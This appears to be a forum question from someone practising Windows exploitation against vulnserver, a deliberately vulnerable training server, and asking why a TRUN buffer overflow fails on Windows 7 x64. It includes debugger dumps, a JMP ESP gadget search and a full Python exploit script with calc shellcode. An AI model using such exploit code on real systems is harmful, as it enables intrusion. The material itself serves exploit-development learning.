title: Buffer Overflow Not working in Windows 7 x64?
body: <p>I previously had exploited buffer overflows in Linux, have decent knowledge on how|why it happens, protections against it(ASLR,DEP).</p>
  
  <p>Recently came to try it in windows, so first google search shows to exploit vulnserver's <code>TRUN</code> command, URL: <a href="https://github.com/stephenbradshaw/vulnserver" rel="nofollow noreferrer">https://github.com/stephenbradshaw/vulnserver</a> based on my research, in windows you can't disable ASLR but can disable DEP for programs through <code>Data Execution Prevention</code> or <a href="https://community.ipswitch.com/s/article/Understanding-Data-Execution-Prevention-in-Windows-1307565976900" rel="nofollow noreferrer">https://community.ipswitch.com/s/article/Understanding-Data-Execution-Prevention-in-Windows-1307565976900</a></p>
  
  <p>Before jumping to my script, below is the Immunity Debugger's parts after executing my exploit:</p>
  
  <p>Portion of stack:</p>
  
  <pre><code>0260F9C8  41 41 41 41 41 41 41 41  AAAAAAAA
  0260F9D0  41 41 41 41 41 41 41 41  AAAAAAAA
  0260F9D8  F9 F9 60 02 FF F9 60 02  ùù`ÿù`
  0260F9E0  90 90 90 90 90 90 90 90  
  0260F9E8  90 90 90 90 90 90 90 90  
  0260F9F0  EB 02 BA C7 93 BF 77 FF  ëºÇ“¿wÿ
  0260F9F8  D2 CC E8 F3 FF FF FF 63  ÒÌèóÿÿÿc
  0260FA00  61 6C 63 43 43 43 43 43  alcCCCCC
  0260FA08  43 43 43 43 43 43 43 43  CCCCCCCC
  0260FA10  43 43 43 43 43 43 43 43  CCCCCCCC
  </code></pre>
  
  <p>CPU Registers</p>
  
  <pre><code>EAX 00000114
  ECX 004E6444
  EDX 77BF93C7
  EBX 00D0F200 ASCII "TRUN /.:/AAAAAAAAAAAAAAAA...
  ESP 00D0F9D8
  EBP 41414141
  ESI 00000000
  EDI CCD2FF77
  EIP 77BF93C7
  C 0  ES 002B 32bit 0(FFFFFFFF)
  P 1  CS 0023 32bit 0(FFFFFFFF)
  A 0  SS 002B 32bit 0(FFFFFFFF)
  Z 1  DS 002B 32bit 0(FFFFFFFF)
  S 0  FS 0053 32bit 7EFDA000(FFF)
  T 0  GS 002B 32bit 0(FFFFFFFF)
  D 0
  O 0  LastErr ERROR_SUCCESS (00000000)
  EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
  ST0 empty g
  ST1 empty g
  ST2 empty g
  ST3 empty g
  ST4 empty g
  ST5 empty g
  ST6 empty g
  ST7 empty g
             3 2 1 0      E S P U O Z D I
  FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
  FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1        
  </code></pre>
  
  <p>Jump Register:</p>
  
  <pre><code>!mona find -s "\xff\xe4" -m essfunc.dll
  Log data, item 11
  Address=625011AF
  Message=  0x625011af : "\xff\xe4" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\PenTest\Desktop\vulnserver-master\vulnserver-master\essfunc.dll)
  </code></pre>
  
  <p>Finaly My script:</p>
  
  <pre><code>#!/usr/bin/python
  
  import socket
  import os
  import sys
  
  host="192.168.1.18"
  port=9999
  
  buf = "\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63";
  
  buffer = "TRUN /.:/" + "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 16 +  buf + "C" * (5060 - 2003 - 4 - 16 - len(buf))
  
  expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  expl.connect((host, port))
  expl.send(buffer)
  expl.close()
  </code></pre>
  
  <p>Vulnerable OS is windows 7 enterprise 64bit</p>
  
  <p>is there a mistake I am making?</p>